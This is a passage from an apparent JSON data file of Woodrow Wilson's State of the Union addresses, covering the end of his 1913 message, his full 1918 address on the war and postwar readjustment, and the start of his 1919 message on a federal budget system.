stop to tell you how fundamental to the life of the\nNation is the production of its food. Our thoughts may ordinarily be\nconcentrated upon the cities and the hives of industry, upon the cries of\nthe crowded market place and the clangor of the factory, but it is from the\nquiet interspaces of the open valleys and the free hillsides that we draw\nthe sources of life and of prosperity, from the farm and the ranch, from\nthe forest and the mine. Without these every street would be silent, every\noffice deserted, every factory fallen into disrepair. And yet the farmer\ndoes not stand upon the same footing with the forester and the miner in the\nmarket of credit. He is the servant of the seasons. Nature determines how\nlong he must wait for his crops, and will not be hurried in her processes.\nHe may give his note, but the season of its maturity depends upon the\nseason when his crop matures, lies at the gates of the market where his\nproducts are sold. And the security he gives is of a character not known in\nthe broker's office or as familiarly as it might be on the counter of the\nbanker.The Agricultural Department of the Government is seeking to assist as never\nbefore to make farming an efficient business, of wide co-operative effort,\nin quick touch with the markets for foodstuffs. The farmers and the\nGovernment will henceforth work together as real partners in this field,\nwhere we now begin to see our way very clearly and where many intelligent\nplans are already being put into execution. The Treasury of the United\nStates has, by a timely and well-considered distribution of its deposits,\nfacilitated the moving of the crops in the present season and prevented the\nscarcity of available funds too often experienced at such times. But we\nmust not allow ourselves to depend upon extraordinary expedients. We must\nadd the means by which the, farmer may make his credit constantly and\neasily available and command when he will the capital by which to support\nand expand his business. We lag behind many other great countries of the\nmodern world in attempting to do this. Systems of rural credit have been\nstudied and developed on the other side of the water while we left our\nfarmers to shift for themselves in the ordinary money market. You have but\nto look about you in any rural district to see the result, the handicap and\nembarrassment which have been put upon those who produce our food.Conscious of this backwardness and neglect on our part, the Congress\nrecently authorized the creation of a special commission to study the\nvarious systems of rural credit which have been put into operation in\nEurope, and this commission is already prepared to report. Its report ought\nto make it easier for us to determine what methods will be best suited to\nour own farmers. I hope and believe that the committees of the Senate and\nHouse will address themselves to this matter with the most fruitful\nresults, and I believe that the studies and recently formed plans of the\nDepartment of Agriculture may be made to serve them very greatly in their\nwork of framing appropriate and adequate legislation. It would be\nindiscreet and presumptuous in anyone to dogmatize upon so great and\nmany-sided a question, but I feel confident that common counsel will\nproduce the results we must all desire.Turn from the farm to the world of business which centers in the city and\nin the factory, and I think that all thoughtful observers will agree that\nthe immediate service we owe the business communities of the country is to\nprevent private monopoly more effectually than it has yet been prevented. I\nthink it will be easily agreed that we should let the Sherman anti-trust\nlaw stand, unaltered, as it is, with its debatable ground about it, but\nthat we should as much as possible reduce the area of that debatable ground\nby further and more explicit legislation; and should also supplement that\ngreat act by legislation which will not only clarify it but also facilitate\nits administration and make it fairer to all concerned. No doubt we shall\nall wish, and the country will expect, this to be the central subject of\nour deliberations during the present session; but it is a subject so\nmany-sided and so deserving of careful and discriminating discussion that I\nshall take the liberty of addressing you upon it in a special message at a\nlater date than this. It is of capital importance that the business men of\nthis country should be relieved of all uncertainties of law with regard to\ntheir enterprises and investments and a clear path indicated which they can\ntravel without anxiety. It is as important that they should be relieved of\nembarrassment and set free to prosper as that private monopoly should be\ndestroyed. The ways of action should be thrown wide open.I turn to a subject which I hope can be handled promptly and without\nserious controversy of any kind. I mean the method of selecting nominees\nfor the Presidency of the United States. I feel confident that I do not\nmisinterpret the wishes or the expectations of the country when I urge the\nprompt enactment of legislation which will provide for primary elections\nthroughout the country at which the voters of the several parties may\nchoose their nominees for the Presidency without the intervention of\nnominating conventions. I venture the suggestion that this legislation\nshould provide for the retention of party conventions, but only for the\npurpose of declaring and accepting the verdict of the primaries and\nformulating the platforms of the parties; and I suggest that these\nconventions should consist not of delegates chosen for this single purpose,\nbut of the nominees for Congress, the nominees for vacant seats in the\nSenate of the United States, the Senators whose terms have not yet closed,\nthe national committees, and the candidates for the Presidency themselves,\nin order that platforms may be framed by those responsible to the people\nfor carrying them into effect.These are all matters of vital domestic concern, and besides them, outside\nthe charmed circle of our own national life in which our affections command\nus, as well as our consciences, there stand out our obligations toward our\nterritories over sea. Here we are trustees. Porto Rico, Hawaii, the\nPhilippines, are ours, indeed, but not ours to do what we please with. Such\nterritories, once regarded as mere possessions, are no longer to be\nselfishly exploited; they are part of the domain of public conscience and\nof serviceable and enlightened statesmanship. We must administer them for\nthe people who live in them and with the same sense of responsibility to\nthem as toward our own people in our domestic affairs. No doubt we shall\nsuccessfully enough bind Porto Rico and the Hawaiian Islands to ourselves\nby ties of justice and interest and affection, but the performance of our\nduty toward the Philippines is a more difficult and debatable matter. We\ncan satisfy the obligations of generous justice toward the people of Porto\nRico by giving them the ample and familiar rights and privileges accorded\nour own citizens in our own territories and our obligations toward the\npeople of Hawaii by perfecting the provisions for self-government already\ngranted them, but in the Philippines we must go further. We must hold\nsteadily in view their ultimate independence, and we must move toward the\ntime of that independence as steadily as the way can be cleared and the\nfoundations thoughtfully and permanently laid.Acting under the authority conferred upon the President by Congress, I have\nalready accorded the people of the islands a majority in both houses of\ntheir legislative body by appointing five instead of four native citizens\nto the membership of the commission. I believe that in this way we shall\nmake proof of their capacity in counsel and their sense of responsibility\nin the exercise of political power, and that the success of this step will\nbe sure to clear our view for the steps which are to follow. Step by step\nwe should extend and perfect the system of self-government in the islands,\nmaking test of them and modifying them as experience discloses their\nsuccesses and their failures; that we should more and more put under the\ncontrol of the native citizens of the archipelago the essential instruments\nof their life, their local instrumentalities of government, their schools,\nall the common interests of their communities, and so by counsel and\nexperience set up a government which all the world will see to be suitable\nto a people whose affairs are under their own control. At last, I hope and\nbelieve, we are beginning to gain the confidence of the Filipino peoples.\nBy their counsel and experience, rather than by our own, we shall learn how\nbest to serve them and how soon it will be possible and wise to withdraw\nour supervision. Let us once find the path and set out with firm and\nconfident tread upon it and we shall not wander from it or linger upon it.A duty faces us with regard to Alaska which seems to me very pressing and\nvery imperative; perhaps I should say a double duty, for it concerns both\nthe political and the material development of the Territory. The people of\nAlaska should be given the full Territorial form of government, and Alaska,\nas a storehouse, should be unlocked. One key to it is a system of railways.\nThese the Government should itself build and administer, and the ports and\nterminals it should itself control in the interest of all who wish to use\nthem for the service and development of the country and its people.But the construction of railways is only the first step; is only thrusting\nin the key to the storehouse and throwing back the lock and opening the\ndoor. How the tempting resources of the country are to be exploited is\nanother matter, to which I shall take the liberty of from time to time\ncalling your attention, for it is a policy which must be worked out by\nwell-considered stages, not upon theory, but upon lines of practical\nexpediency. It is part of our general problem of conservation. We have a\nfreer hand in working out the problem in Alaska than in the States of the\nUnion; and yet the principle and object are the same, wherever we touch it.\nWe must use the resources of the country, not lock them up. There need be\nno conflict or jealousy as between State and Federal authorities, for there\ncan be no essential difference of purpose between them. The resources in\nquestion must be used, but not destroyed or wasted; used, but not\nmonopolized upon any narrow idea of individual rights as against the\nabiding interests of communities. That a policy can be worked out by\nconference and concession which will release these resources and yet not\njeopard or dissipate them, I for one have no doubt; and it can be done on\nlines of regulation which need be no less acceptable to the people and\ngovernments of the States concerned than to the people and Government of\nthe Nation at large, whose heritage these resources are. We must bend our\ncounsels to this end. A common purpose ought to make agreement easy.Three or four matters of special importance and significance I beg, that\nyou will permit me to mention in closing.Our Bureau of Mines ought to be equipped and empowered to render even more\neffectual service than it renders now in improving the conditions of mine\nlabor and making the mines more economically productive as well as more\nsafe. This is an all-important part of the work of conservation; and the\nconservation of human life and energy lies even nearer to our interests\nthan the preservation from waste of our material resources.We owe it, in mere justice to the railway employees of the country, to\nprovide for them a fair and effective employers' liability act; and a law\nthat we can stand by in this matter will be no less to the advantage of\nthose who administer the railroads of the country than to the advantage of\nthose whom they employ. The experience of a large number of the States\nabundantly proves that.We ought to devote ourselves to meeting pressing demands of plain justice\nlike this as earnestly as to the accomplishment of political and economic\nreforms. Social justice comes first. Law is the machinery for its\nrealization and is vital only as it expresses and embodies it.An international congress for the discussion of all questions that affect\nsafety at sea is now sitting in London at the suggestion of our own\nGovernment. So soon as the conclusions of that congress can be learned and\nconsidered we ought to address ourselves, among other things, to the prompt\nalleviation of the very unsafe, unjust, and burdensome conditions which now\nsurround the employment of sailors and render it extremely difficult to\nobtain the services of spirited and competent men such as every ship needs\nif it is to be safely handled and brought to port.May I not express the very real pleas-are I have experienced in\nco-operating with this Congress and sharing with it the labors of common\nservice to which it has devoted itself so unreservedly during the past\nseven months of uncomplaining concentration upon the business of\nlegislation? Surely it is a proper and pertinent part of my report on \"the\nstate of the Union\" to express my admiration for the diligence, the good\ntemper, and the full comprehension of public duty which has already been\nmanifested by both the Houses; and I hope that it may not be deemed an\nimpertinent intrusion of myself into the picture if I say with how much and\nhow constant satisfaction I have availed myself of the privilege of putting\nmy time and energy at their disposal alike in counsel and in action.", 
+    "name": "Woodrow Wilson"
+}
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+{
+    "date": "December 2, 1918", 
+    "speech": "GENTLEMEN OF THE CONGRESS:The year that has elapsed since I last stood before you to fulfil my\nconstitutional duty to give to the Congress from time to time information\non the state of the Union has been so crowded with great events, great\nprocesses, and great results that I cannot hope to give you an adequate\npicture of its transactions or of the far-reaching changes which have been\nwrought of our nation and of the world. You have yourselves witnessed these\nthings, as I have. It is too soon to assess them; and we who stand in the\nmidst of them and are part of them are less qualified than men of another\ngeneration will be to say what they mean, or even what they have been. But\nsome great outstanding facts are unmistakable and constitute, in a sense,\npart of the public business with which it is our duty to deal. To state\nthem is to set the stage for the legislative and executive action which\nmust grow out of them and which we have yet to shape and determine.A year ago we had sent 145,918 men overseas. Since then we have sent\n1,950,513, an average of 162,542 each month, the number in fact rising, in\nMay last, to 245,951, in June to 278,760, in July to 307,182, and\ncontinuing to reach similar figures in August and September, in August\n289,570 and in September 257,438. No such movement of troops ever took\nplace before, across three thousand miles of sea, followed by adequate\nequipment and supplies, and carried safely through extraordinary dangers of\nattack,-dangers which were alike strange and infinitely difficult to guard\nagainst. In all this movement only seven hundred and fifty-eight men were\nlost by enemy attack, six hundred and thirty of whom were upon a single\nEnglish transport which was sunk near the Orkney Islands.I need not tell you what lay back of this great movement of men and\nmaterial. It is not invidious to say that back of it lay a supporting\norganization of the industries of the country and of all its productive\nactivities more complete, more thorough in method and effective in result,\nmore spirited and unanimous in purpose and effort than any other great\nbelligerent had been able to effect. We profited greatly by the experience\nof the nations which had already been engaged for nearly three years in the\nexigent and exacting business, their every resource and every executive\nproficiency taxed to the utmost. We were their pupils. But we learned\nquickly and acted with a promptness and a readiness of cooperation that\njustify our great pride that we were able to serve the world with\nunparalleled energy and quick accomplishment.But it is not the physical scale and executive efficiency of preparation,\nsupply, equipment and despatch that I would dwell upon, but the mettle and\nquality of the officers and men we sent over and of the sailors who kept\nthe seas, and the spirit of the nation that stood behind them. No soldiers\nor sailors ever proved themselves more quickly ready for the test of battle\nor acquitted themselves with more splendid courage and achievement when put\nto the test. Those of us who played some part in directing the great\nprocesses by which the war was pushed irresistibly forward to the final\ntriumph may now forget all that and delight our thoughts with the story of\nwhat our men did. Their officers understood the grim and exacting task they\nhad undertaken and performed it with an audacity, efficiency, and\nunhesitating courage that touch the story of convoy and battle with\nimperishable distinction at every turn, whether the enterprise were great\nor small, from their great chiefs, Pershing and Sims, down to the youngest\nlieutenant; and their men were worthy of them,-such men as hardly need to\nbe commanded, and go to their terrible adventure blithely and with the\nquick intelligence of those who know just what it is they would accomplish.\nI am proud to be the fellow-countryman of men of such stuff and valor. Those\nof us who stayed at home did our duty; the war could not have been won or\nthe gallant men who fought it given their opportunity to win it otherwise;\nbut for many a long day we shall think ourselves \"accurs'd we were not\nthere, and hold our manhoods cheap while any speaks that fought\" with these\nat St. Mihiel or Thierry. The memory of those days of triumphant battle\nwill go with these fortunate men to their graves; and each will have his\nfavorite memory. \"Old men forget; yet all shall be forgot, but hell\nremember with advantages what feats he did that day!\"What we all thank God for with deepest gratitude is that our men went in\nforce into the line of battle just at the critical moment when the whole\nfate of the world seemed to hang in the balance and threw their fresh\nstrength into the ranks of freedom in time to turn the whole tide and sweep\nof the fateful struggle,-turn it once for all, so that thenceforth it was\nback, back, back for their enemies, always back, never again forward! After\nthat it was only a scant four months before the commanders of the Central\nEmpires knew themselves beaten; and now their very empires are in\nliquidation!And throughout it all how fine the spirit of the nation was: what unity of\npurpose, what untiring zeal! What elevation of purpose ran through all its\nsplendid display of strength, its untiring accomplishment! I have said that\nthose of us who stayed at home to do the work of organization and supply\nwill always wish that we had been with the men whom we sustained by our\nlabor; but we can never be ashamed. It has been an inspiring thing to be\nhere in the midst of fine men who had turned aside from every private\ninterest of their own and devoted the whole of their trained capacity to\nthe tasks that supplied the sinews of the whole great undertaking! The\npatriotism, the unselfishness, the thoroughgoing devotion and distinguished\ncapacity that marked their toilsome labors, day after day, month after\nmonth, have made them fit mates and comrades of the men in the trenches and\non the sea. And not the men here in Washington only. They have but directed\nthe vast achievement. Throughout innumerable factories, upon innumerable\nfarms, in the depths of coal mines and iron mines and copper mines,\nwherever the stuffs of industry were to be obtained and prepared, in the\nshipyards, on the railways, at the docks, on the sea, in every labor that\nwas needed to sustain the battle lines, men have vied with each other to do\ntheir part and do it well. They can look any man-at-arms in the face, and\nsay, We also strove to win and gave the best that was in us to make our\nfleets and armies sure of their triumph!And what shall we say of the women,-of their instant intelligence,\nquickening every task that they touched; their capacity for organization\nand cooperation, which gave their action discipline and enhanced the\neffectiveness of everything they attempted; their aptitude at tasks to\nwhich they had never before set their hands; their utter self-sacrifice\nalike in what they did and in what they gave? Their contribution to the\ngreat result is beyond appraisal. They have added a new lustre to the\nannals of American womanhood.The least tribute we can pay them is to make them the equals of men in\npolitical rights as they have proved themselves their equals in every field\nof practical work they have entered, whether for themselves or for their\ncountry. These great days of completed achievement would be sadly marred\nwere we to omit that act of justice. Besides the immense practical services\nthey have rendered the women of the country have been the moving spirits in\nthe systematic economies by which our people have voluntarily assisted to\nsupply the suffering peoples of the world and the armies upon every front\nwith food and everything else that we had that might serve the common\ncause. The details of such a story can never be fully written, but we carry\nthem at our hearts and thank God that we can say that we are the kinsmen of\nsuch.And now we are sure of the great triumph for which every sacrifice was\nmade. It has come, come in its completeness, and with the pride and\ninspiration of these days of achievement quick within us, we turn to the\ntasks of peace again,-a peace secure against the violence of irresponsible\nmonarchs and ambitious military coteries and made ready for a new order,\nfor new foundations of justice and fair dealing.We are about to give order and organization to this peace not only for\nourselves but for the other peoples of the world as well, so far as they\nwill suffer us to serve them. It is international justice that we seek, not\ndomestic safety merely. Our thoughts have dwelt of late upon Europe, upon\nAsia, upon the near and the far East, very little upon the acts of peace\nand accommodation that wait to be performed at our own doors. While we are\nadjusting our relations with the rest of the world is it not of capital\nimportance that we should clear away all grounds of misunderstanding with\nour immediate neighbors and give proof of the friendship we really feel? I\nhope that the members of the Senate will permit me to speak once more of\nthe unratified treaty of friendship and adjustment with the Republic of\nColombia. I very earnestly urge upon them an early and favorable action\nupon that vital matter. I believe that they will feel, with me, that the\nstage of affairs is now set for such action as will be not only just but\ngenerous and in the spirit of the new age upon which we have so happily\nentered.So far as our domestic affairs are concerned the problem of our return to\npeace is a problem of economic and industrial readjustment. That problem is\nless serious for us than it may turn out too he for the nations which have\nsuffered the disarrangements and the losses of war longer than we. Our\npeople, moreover, do not wait to be coached and led. They know their own\nbusiness, are quick and resourceful at every readjustment, definite in\npurpose, and self-reliant in action. Any leading strings we might seek to\nput them in would speedily become hopelessly tangled because they would pay\nno attention to them and go their own way. All that we can do as their\nlegislative and executive servants is to mediate the process of change\nhere, there, and elsewhere as we may. I have heard much counsel as to the\nplans that should be formed and personally conducted to a happy\nconsummation, but from no quarter have I seen any general scheme of\n\"reconstruction\" emerge which I thought it likely we could force our\nspirited business men and self-reliant laborers to accept with due pliancy\nand obedience.While the war lasted we set up many agencies by which to direct the\nindustries of the country in the services it was necessary for them to\nrender, by which to make sure of an abundant supply of the materials\nneeded, by which to check undertakings that could for the time be dispensed\nwith and stimulate those that were most serviceable in war, by which to\ngain for the purchasing departments of the Government a certain control\nover the prices of essential articles and materials, by which to restrain\ntrade with alien enemies, make the most of the available shipping, and\nsystematize financial transactions, both public and private, so that there\nwould be no unnecessary conflict or confusion,-by which, in short, to put\nevery material energy of the country in harness to draw the common load\nand make of us one team in the accomplishment of a great task. But the\nmoment we knew the armistice to have been signed we took the harness off.\nRaw materials upon which the Government had kept its hand for fear there\nshould not be enough for the industries that supplied the armies have been\nreleased and put into the general market again. Great industrial plants\nwhose whole output and machinery had been taken over for the uses of the\nGovernment have been set free to return to the uses to which they were put\nbefore the war. It has not been possible to remove so readily or so quickly\nthe control of foodstuffs and of shipping, because the world has still to\nbe fed from our granaries and the ships are still needed to send supplies\nto our men overseas and to bring the men back as fast as the disturbed\nconditions on the other side of the water permit; but even there restraints\nare being relaxed as much as possible and more and more as the weeks go by.Never before have there been agencies in existence in this country which\nknew so much of the field of supply, of labor, and of industry as the War\nIndustries Board, the War Trade Board, the Labor Department, the Food\nAdministration, and the Fuel Administration have known since their labors\nbecame thoroughly systematized; and they have not been isolated agencies;\nthey have been directed by men who represented the permanent Departments of\nthe Government and so have been the centres of unified and cooperative\naction. It has been the policy of the Executive, therefore, since the\narmistice was assured (which is in effect a complete submission of the\nenemy) to put the knowledge of these bodies at the disposal of the business\nmen of the country and to offer their intelligent mediation at every point\nand in every matter where it was desired. It is surprising how fast the\nprocess of return to a peace footing has moved in the three weeks since the\nfighting stopped. It promises to outrun any inquiry that may be instituted\nand any aid that may be offered. It will not be easy to direct it any\nbetter than it will direct itself. The American business man is of quick\ninitiative.The ordinary and normal processes of private initiative will not, however,\nprovide immediate employment for all of the men of our returning armies.\nThose who are of trained capacity, those who are skilled workmen, those who\nhave acquired familiarity with established businesses, those who are ready\nand willing to go to the farms, all those whose aptitudes are known or will\nbe sought out by employers will find no difficulty, it is safe to say, in\nfinding place and employment. But there will be others who will be at a\nloss where to gain a livelihood unless pains are taken to guide them and\nput them in the way of work. There will be a large floating residuum of\nlabor which should not be left wholly to shift for itself. It seems to me\nimportant, therefore, that the development of public works of every sort\nshould be promptly resumed, in order that opportunities should be created\nfor unskilled labor in particular, and that plans should be made for such\ndevelopments of our unused lands and our natural resources as we have\nhitherto lacked stimulation to undertake.I particularly direct your attention to the very practical plans which the\nSecretary of the Interior has developed in his annual report and before\nyour Committees for the reclamation of arid, swamp, and cutover lands which\nmight, if the States were willing and able to cooperate, redeem some three\nhundred million acres of land for cultivation. There are said to be fifteen\nor twenty million acres of land in the West, at present arid, for whose\nreclamation water is available, if properly conserved. There are about two\nhundred and thirty million acres from which the forests have been cut but\nwhich have never yet been cleared for the plow and which lie waste and\ndesolate. These lie scattered all over the Union. And there are nearly\neighty million acres of land that lie under swamps or subject to periodical\noverflow or too wet for anything but grazing, which it is perfectly\nfeasible to drain and protect and redeem. The Congress can at once direct\nthousands of the returning soldiers to the reclamation of the arid lands\nwhich it has already undertaken, if it will but enlarge the plans and\nappropriations which it has entrusted to the Department of the Interior. It\nis possible in dealing with our unused land to effect a great rural and\nagricultural development which will afford the best sort of opportunity to\nmen who want to help themselves and the Secretary of the Interior has\nthought the possible methods out in a way which is worthy of your most\nfriendly attention.I have spoken of the control which must yet for a while, perhaps for a long\nlong while, be exercised over shipping because of the priority of service\nto which our forces overseas are entitled and which should also be accorded\nthe shipments which are to save recently liberated peoples from starvation\nand many devastated regions from permanent ruin. May I not say a special\nword about the needs of Belgium and northern France? No sums of money paid\nby way of indemnity will serve of themselves to save them from hopeless\ndisadvantage for years to come. Something more must be done than merely\nfind the money. If they had money and raw materials in abundance to-morrow\nthey could not resume their place in the industry of the world\nto-morrow,-the very important place they held before the flame of war swept\nacross them. Many of their factories are razed to the ground. Much of their\nmachinery is destroyed or has been taken away. Their people are scattered\nand many of their best workmen are dead. Their markets will be taken by\nothers, if they are not in some special way assisted to rebuild their\nfactories and replace their lost instruments of manufacture. They should\nnot be left to the vicissitudes of the sharp competition for materials and\nfor industrial facilities which is now to set in. I hope, therefore, that\nthe Congress will not be unwilling, if it should become necessary, to grant\nto some such agency as the War Trade Board the right to establish\npriorities of export and supply for the benefit of these people whom we\nhave been so happy to assist in saving from the German terror and whom we\nmust not now thoughtlessly leave to shift for themselves in a pitiless\ncompetitive market.For the steadying, and facilitation of our own domestic business\nreadjustments nothing is more important than the immediate determination of\nthe taxes that are to be levied for 1918, 1919, and 1920. As much of the\nburden of taxation must be lifted from business as sound methods of\nfinancing the Government will permit, and those who conduct the great\nessential industries of the country must be told as exactly as possible\nwhat obligations to the Government they will be expected to meet in the\nyears immediately ahead of them. It will be of serious consequence to the\ncountry to delay removing all uncertainties in this matter a single day\nlonger than the right processes of debate justify. It is idle to talk of\nsuccessful and confident business reconstruction before those uncertainties\nare resolved.If the war had continued it would have been necessary to raise at least\neight billion dollars by taxation payable in the year 1919; but the war has\nended and I agree with the Secretary of the Treasury that it will be safe\nto reduce the amount to six billions. An immediate rapid decline in the\nexpenses of the Government is not to be looked for. Contracts made for war\nsupplies will, indeed, be rapidly cancelled and liquidated, but their\nimmediate liquidation will make heavy drains on the Treasury for the months\njust ahead of us. The maintenance of our forces on the other side of the\nsea is still necessary. A considerable proportion of those forces must\nremain in Europe during the period of occupation, and those which are\nbrought home will be transported and demobilized at heavy expense for\nmonths to come. The interest on our war debt must of course be paid and\nprovision made for the retirement of the obligations of the Government\nwhich represent it. But these demands will of course fall much below what a\ncontinuation of military operations would have entailed and six billions\nshould suffice to supply a sound foundation for the financial operations of\nthe year.I entirely concur with the Secretary of the Treasury in recommending that\nthe two billions needed in addition to the four billions provided by\nexisting law be obtained from the profits which have accrued and shall\naccrue from war contracts and distinctively war business, but that these\ntaxes be confined to the war profits accruing in 1918, or in 1919 from\nbusiness originating in war contracts. I urge your acceptance of his\nrecommendation that provision be made now, not subsequently, that the taxes\nto be paid in 1920 should be reduced from six to four billions. Any\narrangements less definite than these would add elements of doubt and\nconfusion to the critical period of industrial readjustment through which\nthe country must now immediately pass, and which no true friend of the\nnation's essential business interests can afford to be responsible for\ncreating or prolonging. Clearly determined conditions, clearly and simply\ncharted, are indispensable to the economic revival and rapid industrial\ndevelopment which may confidently be expected if we act now and sweep all\ninterrogation points away.I take it for granted that the Congress will carry out the naval programme\nwhich was undertaken before we entered the war. The Secretary of the Navy\nhas submitted to your Committees for authorization that part of the\nprogramme which covers the building plans of the next three years. These\nplans have been prepared along the lines and in accordance with the policy\nwhich the Congress established, not under the exceptional conditions of the\nwar, but with the intention of adhering to a definite method of development\nfor the navy. I earnestly recommend the uninterrupted pursuit of that\npolicy. It would clearly be unwise for us to attempt to adjust our\nprogrammes to a future world policy as yet undetermined.The question which causes me the greatest concern is the question of the\npolicy to be adopted towards the railroads. I frankly turn to you for\ncounsel upon it. I have no confident judgment of my own. I do not see how\nany thoughtful man can have who knows anything of the complexity of the\nproblem. It is a problem which must be studied, studied immediately, and\nstudied without bias or prejudice. Nothing can be gained by becoming\npartisans of any particular plan of settlement.It was necessary that the administration of the railways should be taken\nover by the Government so long as the war lasted. It would have been\nimpossible otherwise to establish and carry through under a single\ndirection the necessary priorities of shipment. It would have been\nimpossible otherwise to combine maximum production at the factories and\nmines and farms with the maximum possible car supply to take the products\nto the ports and markets; impossible to route troop shipments and freight\nshipments without regard to the advantage or-disadvantage of the roads\nemployed; impossible to subordinate, when necessary, all questions of\nconvenience to the public necessity; impossible to give the necessary\nfinancial support to the roads from the public treasury. But all these\nnecessities have now been served, and the question is, What is best for the\nrailroads and for the public in the future?Exceptional circumstances and exceptional methods of administration were\nnot needed to convince us that the railroads were not equal to the immense\ntasks of transportation imposed upon them by the rapid and continuous\ndevelopment of the industries of the country. We knew that already. And we\nknew that they were unequal to it partly because their full cooperation was\nrendered impossible by law and their competition made obligatory, so that\nit has been impossible to assign to them severally the traffic which could\nbest be carried by their respective lines in the interest of expedition and\nnational economy.We may hope, I believe, for the formal conclusion of the war by treaty by\nthe time Spring has come. The twenty-one months to which the present control\nof the railways is limited after formal proclamation of peace shall have\nbeen made will run at the farthest, I take it for granted, only to the\nJanuary of 1921. The full equipment of the railways which the federal\nadministration had planned could not be completed within any such period.\nThe present law does not permit the use of the revenues of the several\nroads for the execution of such plans except by formal contract with their\ndirectors, some of whom will consent while some will not, and therefore\ndoes not afford sufficient authority to undertake improvements upon the\nscale upon which it would be necessary to undertake them. Every approach to\nthis difficult subject-matter of decision brings us face to face,\ntherefore, with this unanswered question: What is it right that we should\ndo with the railroads, in the interest of the public and in fairness to\ntheir owners?Let me say at once that I have no answer ready. The only thing that is\nperfectly clear to me is that it is not fair either to the public or to the\nowners of the railroads to leave the question unanswered and that it will\npresently become my duty to relinquish control of the roads, even before\nthe expiration of the statutory period, unless there should appear some\nclear prospect in the meantime of a legislative solution. Their release\nwould at least produce one element of a solution, namely certainty and a\nquick stimulation of private initiative.I believe that it will be serviceable for me to set forth as explicitly as\npossible the alternative courses that lie open to our choice. We can simply\nrelease the roads and go back to the old conditions of private management,\nunrestricted competition, and multiform regulation by both state and\nfederal authorities; or we can go to the opposite extreme and establish\ncomplete government control, accompanied, if necessary, by actual\ngovernment ownership; or we can adopt an intermediate course of modified\nprivate control, under a more unified and affirmative public regulation and\nunder such alterations of the law as will permit wasteful competition to be\navoided and a considerable degree of unification of administration to be\neffected, as, for example, by regional corporations under which the\nrailways of definable areas would be in effect combined in single systems.The one conclusion that I am ready to state with confidence is that it\nwould be a disservice alike to the country and to the owners of the\nrailroads to return to the old conditions unmodified. Those are conditions\nof restraint without development. There is nothing affirmative or helpful\nabout them. What the country chiefly needs is that all its means of\ntransportation should be developed, its railways, its waterways, its\nhighways, and its countryside roads. Some new element of policy, therefore,\nis absolutely necessary--necessary for the service of the public, necessary\nfor the release of credit to those who are administering the railways,\nnecessary for the protection of their security holders. The old policy may\nbe changed much or little, but surely it cannot wisely be left as it was. I\nhope that the Con will have a complete and impartial study of the whole\nproblem instituted at once and prosecuted as rapidly as possible. I stand\nready and anxious to release the roads from the present control and I must\ndo so at a very early date if by waiting until the statutory limit of time\nis reached I shall be merely prolonging the period of doubt and uncertainty\nwhich is hurtful to every interest concerned.I welcome this occasion to announce to the Congress my purpose to join in\nParis the representatives of the governments with which we have been\nassociated in the war against the Central Empires for the purpose of\ndiscussing with them the main features of the treaty of peace. I realize\nthe great inconveniences that will attend my leaving the country,\nparticularly at this time, but the conclusion that it was my paramount duty\nto go has been forced upon me by considerations which I hope will seem as\nconclusive to you as they have seemed to me.The Allied governments have accepted the bases of peace which I outlined to\nthe Congress on the eighth of January last, as the Central Empires also\nhave, and very reasonably desire my personal counsel in their\ninterpretation and application, and it is highly desirable that I should\ngive it in order that the sincere desire of our Government to contribute\nwithout selfish purpose of any kind to settlements that will be of common\nbenefit to all the nations concerned may be made fully manifest. The peace\nsettlements which are now to be agreed upon are of transcendent importance\nboth to us and to the rest of the world, and I know of no business or\ninterest which should take precedence of them. The gallant men of our armed\nforces on land and sea have consciously fought for the ideals which they\nknew to be the ideals of their country; I have sought to express those\nideals; they have accepted my statements of them as the substance of their\nown thought and purpose, as the associated governments have accepted them;\nI owe it to them to see to it, so far as in me lies, that no false or\nmistaken interpretation is put upon them, and no possible effort omitted to\nrealize them. It is now my duty to play my full part in making good what\nthey offered their life's blood to obtain. I can think of no call to\nservice which could transcend this.I shall be in close touch with you and with affairs on this side the water,\nand you will know all that I do. At my request, the French and English\ngovernments have absolutely removed the censorship of cable news which\nuntil within a fortnight they had maintained and there is now no censorship\nwhatever exercised at this end except upon attempted trade communications\nwith enemy countries. It has been necessary to keep an open wire constantly\navailable between Paris and the Department of State and another between\nFrance and the Department of War. In order that this might be done with the\nleast possible interference with the other uses of the cables, I have\ntemporarily taken over the control of both cables in order that they may be\nused as a single system. I did so at the advice of the most experienced\ncable officials, and I hope that the results will justify my hope that the\nnews of the next few months may pass with the utmost freedom and with the\nleast possible delay from each side of the sea to the other.May I not hope, Gentlemen of the Congress, that in the delicate tasks I\nshall have to perform on the other side of the sea, in my efforts truly and\nfaithfully to interpret the principles and purposes of the country we love,\nI may have the encouragement and the added strength of your united support?\nI realize the magnitude and difficulty of the duty I am undertaking; I am\npoignantly aware of its grave responsibilities. I am the servant of the\nnation. I can have no private thought or purpose of my own in performing\nsuch an errand. I go to give the best that is in me to the common\nsettlements which I must now assist in arriving at in conference with the\nother working heads of the associated governments. I shall count upon your\nfriendly countenance and encouragement. I shall not be inaccessible. The\ncables and the wireless will render me available for any counsel or service\nyou may desire of me, and I shall be happy in the thought that I am\nconstantly in touch with the weighty matters of domestic policy with which\nwe shall have to deal. I shall make my absence as brief as possible and\nshall hope to return with the happy assurance that it has been possible to\ntranslate into action the great ideals for which America has striven.", 
+    "name": "Woodrow Wilson"
+}
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+{
+    "date": "December 2, 1919", 
+    "speech": "TO THE SENATE AND HOUSE OF REPRESENTATIVES:I sincerely regret that I cannot be present at the opening of this session\nof the Congress. I am thus prevented from presenting in as direct a way as\nI could wish the many questions that are pressing for solution at this\ntime. Happily, I have had the advantage of the advice of the heads of the\nseveral executive departments who have kept in close touch with affairs in\ntheir detail and whose thoughtful recommendations I earnestly second.In the matter of the railroads and the readjustment of their affairs\ngrowing out of Federal control, I shall take the liberty at a later date of\naddressing you.I hope that Congress will bring to a conclusion at this session legislation\nlooking to the establishment of a budget system. That there should be one\nsingle authority responsible for the making of all appropriations and that\nappropriations should be made not independently of each other, but with\nreference to one single comprehensive plan of expenditure properly related\nto the nation's income, there can be no doubt I believe the burden of\npreparing the budget must, in the nature of the case, if the work is to be\nproperly done and responsibility concentrated instead of divided, rest upon\nthe executive. The budget so prepared should be submitted to and approved\nor amended by a single committee of each House of Congress and no single\nappropriation should be made by the Congress, except such as may have been\nincluded in the budget prepared by the executive or added by the particular\ncommittee of Congress charged with the budget legislation.Another and not less important aspect of the problem is the ascertainment\nof the economy and efficiency with which the moneys appropriated are\nexpended. Under existing law the only audit is for the purpose of\nascertaining whether expenditures have been lawfully made within the\nappropriations. No one is authorized or equipped to ascertain whether the\nmoney has been spent wisely, economically and effectively. The auditors\nshould be highly trained officials with permanent tenure in the 